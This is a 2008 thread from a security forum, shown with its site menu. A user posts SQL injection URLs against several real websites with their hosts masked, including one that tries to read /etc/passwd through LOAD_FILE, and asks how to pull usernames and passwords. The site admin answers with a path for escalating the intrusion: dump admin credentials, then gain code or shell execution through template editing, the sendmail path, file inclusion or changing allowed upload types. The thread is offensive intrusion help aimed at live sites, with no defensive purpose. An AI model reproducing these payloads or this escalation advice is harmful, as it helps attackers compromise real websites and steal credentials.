Waraxe IT Security Portal
Login or Register
June 17, 2025
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 84
Members: 0
Total: 84
Full disclosure
SEC Consult SA-20250604-0 :: Local Privilege Escalation and Default Credentials in INDAMED - MEDICAL OFFICE (Medical practice management) Demo version
Full Disclosure: CVE-2025-31200 & CVE-2025-31201 – 0-Click iMessage Chain ? Secure Enclave Key Theft, Wormable RCE, Crypto Theft
Defense in depth -- the Microsoft way (part 89): user grouppolicies don't deserve tamper protection
CVE-2025-45542: Time-Based Blind SQL Injection in CloudClassroom PHP Project v1.0
ERPNext v15.53.1 Stored XSS in bio Field Allows Arbitrary Script Execution in Profile Page
ERPNext v15.53.1 Stored XSS in user_image Field Allows Script Execution via Injected Image Path
Local information disclosure in apport and systemd-coredump
Stored XSS via File Upload - adaptcmsv3.0.3
IDOR "Change Password" Functionality - adaptcmsv3.0.3
Stored XSS "Send Message" Functionality - adaptcmsv3.0.3
Authenticated File Upload to RCE - adaptcmsv3.0.3
Stored XSS in "Description" Functionality - cubecartv6.5.9
Multiple Vulnerabilities in SAP GuiXT Scripting
CVE-2024-47081: Netrc credential leak in PSF requests library
Exploit CVE-2019-9978: Remote Code Execution in Social Warfare WordPress Plugin (<= 3.5.2)
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> All other security holes -> SQL inj exploit NOT complet !!
Post new topicReply to topic View previous topic :: View next topic
SQL inj exploit NOT complet !!
PostPosted: Sun Jan 27, 2008 8:20 pm Reply with quote
nox
Advanced user
Advanced user
Joined: Dec 29, 2007
Posts: 100
Location: c://windows/system32




Code:
http://********/fr/medias_communiques_affiche.php?id_communique=-1%20union%20select%201,2,3,table_name,5%20from%20information_schema.tables/*


Code:
http://********/new_site/cheminotcgt_communiques/detail_communique.php?Id_communique=-1+union+select+1,2,3,4,5,5,6,5,7,8,9,10--


Code:
http://********/communique.php?id_communique=-1%20union%20select%201,2,3,4,5,6,7--


Code:
http://********/page.php?id_page=7&id_communique=-1%20union%20select%201,2,3,4,5,6,7/*


Code:
http://********/storefronts.php?sf_id=-1%20union%20select%201,2,3,4/*


can i get user & password ? Shocked


and why file /etc/passwd , not fond ???? Confused in this ! : *******

http://*******/index.php?name=view&id=-1+UNION/**/SELECT/**/1,2,LOAD_FILE(0x2F6574632F706173737764),4,5,6%20from/**/mysql.user/*

Edited by waraxe

_________________
..::::[ Waraxe.us is the BEST and the TOP ]::::..
View user's profile Send private message Send e-mail Visit poster's website MSN Messenger
PostPosted: Mon Jan 28, 2008 10:30 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Please don't post real URL-s next time!!

LOAD_FILE() and other file-related functions in mysql require FILE privileges. If website is hosted on shared server, then probably admin will not give such privileges to low-level users. Same story is with mysql.user - if server is secure, then you can't access mysql.user - "Access Denied" ...
So instead of escalating sql injection to php code level through INTO OUTFILE or reading files with LOAD_FILE you can try to find administrative interface, then fetch admin username and password from database and then try from web application admin interface escalate your privileges. Example - template editing can give you arbitrary php code execution possibilities, various website settings - sendmail path can give access to shell command exec, other pathes - local file inclusion, valid uploadable file extensions - you can change them and upload php files, etc ... possibilities are endless ... be creative Smile
View user's profile Send private message Send e-mail Visit poster's website
SQL inj exploit NOT complet !!
www.waraxe.us Forum Index -> All other security holes
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.047 Seconds